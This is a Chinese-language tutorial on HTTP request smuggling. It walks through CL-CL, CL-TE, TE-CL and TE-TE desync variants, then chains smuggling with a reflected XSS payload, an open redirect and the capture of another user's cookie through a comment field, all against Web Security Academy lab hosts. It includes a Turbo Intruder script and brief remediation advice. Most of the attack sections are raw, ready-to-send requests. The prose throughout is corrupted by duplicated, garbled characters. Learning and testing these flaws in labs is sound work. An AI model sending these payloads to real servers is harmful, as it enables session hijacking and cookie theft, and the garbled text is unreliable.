2.產(chǎn)生的原因
在HTTP1.1后,增加了一個特殊的請求頭Connection: Keep-Alive，建立tcp持續(xù)通道，進行一次tcp握手,就能傳送多個請求。但這樣子只能是請求一次響應(yīng)一次。為了提高數(shù)據(jù)傳輸?shù)男?減少阻塞。后來就有了HTTP Pipelining（管線化）字段，它是將多個http請求批量提交,而不用等收到響應(yīng)再提交的異步技術(shù)。如下圖就是使用Pipelining和非Pipelining
這意味著前端與后端必須短時間內(nèi)對每個數(shù)據(jù)包的邊界大小達成一致,否則,攻擊者就可以構(gòu)造發(fā)送一個特殊的數(shù)據(jù)包，在前端看來它是一個請求，但在后端卻被解釋為了兩個不同的HTTP請求。這就導致攻擊者可以在下一個用戶發(fā)送的合法數(shù)據(jù)包前惡意添加內(nèi)容。如圖，走私的內(nèi)容（”前綴”），以橙色突出顯示：
假設(shè)前端考慮的是內(nèi)容長度頭部(Content-Length)值作為數(shù)據(jù)包結(jié)束的邊界，后端優(yōu)先考慮的是Transfer-Encoding頭部。那么從后端角度看，如下圖藍色部份字體屬于一個數(shù)據(jù)包,而紅色部份字體屬于下一個數(shù)據(jù)包的開始部份。這樣就成功從前端’走私’了一個數(shù)據(jù)包。
3.攻擊類別
3.1.CL不為0的GET請求
假設(shè)前端代理服務(wù)器允許GET請求攜帶請求體，而后端服務(wù)器不允許GET請求攜帶請求體，它會直接忽略掉GET請求中的 Content-Length頭，不進行處理。這就有可能導致請求走私。
比如發(fā)送下面請求
GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com
前端服務(wù)器通過讀取Content-Length，確認這是個完整的請求，然后轉(zhuǎn)發(fā)到后端服務(wù)器,而后端服務(wù)器因為不對Content-Length進行判斷,由于Pipeline的存在,它認為這是兩個請求，分別為
第一個
GET / HTTP/1.1
Host: example.com
第二個
GET /socket HTTP/1.1
Host: example.com
則相當于走私了請求
3.2 CL-CL
在RFC7230規(guī)范中, 規(guī)定當服務(wù)器收到的請求中包含兩個 Content-Length，而且兩者的值不同時，需要返回400錯誤。但難免會有服務(wù)器不嚴格遵守該規(guī)范。假設(shè)前端和后端服務(wù)器都收到該類請求,且不報錯，其中前端服務(wù)器按照第一個Content-Length的值對請求進行為數(shù)據(jù)包定界,而后端服務(wù)器則按照第二個Content-Length的值進行處理。
這時攻擊者可以惡意構(gòu)造一個特殊的請求，
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CDN服務(wù)器獲取到的數(shù)據(jù)包的長度6,將上述整個數(shù)據(jù)包轉(zhuǎn)發(fā)給后端的服務(wù)器，而后端服務(wù)器獲取到的數(shù)據(jù)包長度為5。當讀取完前5個字符后，后端服務(wù)器認為該請求已經(jīng)讀取完畢，然后發(fā)送出去。而此時的緩沖區(qū)去還剩余一個字母 A，對于后端服務(wù)器來說，這個 A是下一個請求的一部分，但是還沒有傳輸完畢。此時恰巧有一個其他的正常用戶對服務(wù)器進行了請求，則該A字母會拼湊到下一個正常用戶請求的前面，攻擊在此展開。
3.3 CL-TE
所謂CL-TE，顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時，前端代理服務(wù)器按照Content-Length這一請求頭定界，而后端服務(wù)器則以Transfer-Encoding請求頭為標準。
構(gòu)造數(shù)據(jù)包
POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode
前端服務(wù)器處理Content-Length頭并確定請求主體長度為16個字節(jié)，直到chunkedcode
結(jié)束。此請求將轉(zhuǎn)發(fā)到后端服務(wù)器。
后端服務(wù)器處理Transfer-Encoding標頭，因此將消息體視為使用分塊編碼。它處理第一個塊，它被稱為零長度，因此被視為終止請求。緩沖區(qū)內(nèi)還剩下chunkedcode,由于存在pipeline技術(shù),后端服務(wù)器將這些字節(jié)視為隊列中下一個請求的開始。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意：需要發(fā)送兩次請求
3.4 TE-CL
這種情況則屬于前端服務(wù)器處理Transfer-Encoding請求頭，而后端服務(wù)器處理Content-Length請求頭。
構(gòu)造數(shù)據(jù)包
Host:example.com
Content-Length: 3
Transfer-Encoding: chunked
chunkedcode
0
注意0后面加兩個\r\n
前端服務(wù)器處理Transfer-Encoding請求頭，因此將消息體視為使用分塊編碼，處理第一塊時，有11個字節(jié)，直到chunkedcodede的最后一個字節(jié)。開始處理第二個塊，第二塊是0個字節(jié)，視為終止請求。此時把請求轉(zhuǎn)發(fā)到后端。而后端則在11處完成了對第一個數(shù)據(jù)包的讀取，chunkedcode\r\n0為下一個數(shù)據(jù)包的開始部份
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意：需要發(fā)送兩次請求
3.5 TE-TE
前端服務(wù)器處理第一個Transfer-Encoding請求頭,后端服務(wù)器處理第二個Transfer-Encoding請求頭.
構(gòu)造數(shù)據(jù)包
Host:example.com
Content-length: 3
Transfer-Encoding: chunked
Transfer-encoding: error
chunkedcode
0
這里是用了兩個Transfer-Encoding 字段，并且第二個 TE 字段值為錯誤值，這里 前端服務(wù)器選擇對第一個 Transfer-Encoding進行處理，整個請求正常，原封不動轉(zhuǎn)發(fā)給后端服務(wù)器，而后端服務(wù)器則以第二個Transfer-Encoding 字段進行優(yōu)先處理，而第二個Transfer-Encoding 字段非標準值，根據(jù)RPC規(guī)范，則會取Content-Length字段進行處理，這樣這個請求就會被拆分為兩個請求。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意：需要發(fā)送兩次請求
4.攻擊擴展
4.1.smuggling+reflected xss
單純的UA處的xss并沒有什么危害，但可以結(jié)合請求走私攻擊進行利用來提升危害
我們可以構(gòu)造以下數(shù)據(jù)包，只要發(fā)送一次
POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: “><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
會在該網(wǎng)站的任意頁面觸發(fā)xss,因為在http序列中,走私的請求會插到用戶對網(wǎng)站的請求前面
4.2 direct+smuggling
該場景基于url跳轉(zhuǎn),把用戶重定向到一個固定網(wǎng)頁，lab為我們提供個跳轉(zhuǎn)api,/post/next?postId=3路由跳轉(zhuǎn)到的是/post?postId=4。
此時我們可以利用走私攻擊并配合重定向進行釣魚.
發(fā)送以下數(shù)據(jù)包一次：
POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后訪問原網(wǎng)站任意頁面,都會被重定向到/post?postId=4
4.3竊取用戶請求
利用走私攻擊捕捉用戶請求數(shù)據(jù)包，竊取cookie
我們在發(fā)送評論處的api接口構(gòu)造請求包如下
發(fā)送以下數(shù)據(jù)包
POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2Fwww.baidu.com&comment=118
成功把用戶的請求拼接到走私請求的comment參數(shù)上，如下圖
5.案例
該案例利用的是CL-TE的攻擊方式。根據(jù)RFC，當Content-Length和Transfer-Encoding兩個標頭同時出現(xiàn)在同一請求包時，Transfer-Encoding始終被優(yōu)先處理。但是，如果Transfer-Encoding標頭格式錯誤，則前端服務(wù)器和后端服務(wù)器之間的對請求的解釋可能會有所不同。在該站點上發(fā)現(xiàn)的CLTE問題是，在請求包中Transfer-Encoding 和:之間加多一個空格，使該字段的格式為非標準值，此時前端服務(wù)器依據(jù)RPC規(guī)范，優(yōu)先處理Content-Length，而后端服務(wù)器并沒嚴格遵守RPC規(guī)范，以Transfer-Encoding為依據(jù)進行處理數(shù)據(jù)包。
惡意請求的說明：
可見用戶的正常請求被拼接到X字段，而X請求頭非標準請求頭，故忽略，而該用戶的cookie字段也被拼接到了該走私的請求上
在Burp Collaborator Client上能成功竊取到用戶的cookie
6.測試工具
在burpsuite上查找到請求包，右鍵lauch smuggle probe,隨后在burpsuite的掃描結(jié)果上顯示報告
進一步確定漏洞
右鍵點擊”smuggle attack(CL.TE)”
出現(xiàn)Turbo Intruder腳本
# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time
def queueRequests(target, wordlists):
# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
# This will prefix the victim’s request. Edit it to achieve the desired effect.
prefix = ”’GET /hopefully404 HTTP/1.1
X-Ignore: X”’ //走私一個uri為/hopefully404的請求包，下一個用戶的請求會拼接到X-Ignore字段后面，因此要是存在走私漏洞,則會返回一個狀態(tài)碼為404的數(shù)據(jù)包
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
點擊”attack”進行爆破測試
看到存在404狀態(tài)碼的數(shù)據(jù)包,說明存在http走私漏洞
修復(fù)方案：
1、前端服務(wù)器對前段輸入規(guī)范化
2、前端服務(wù)器使用HTTP2.0
3、后端服務(wù)器丟棄非正常請求
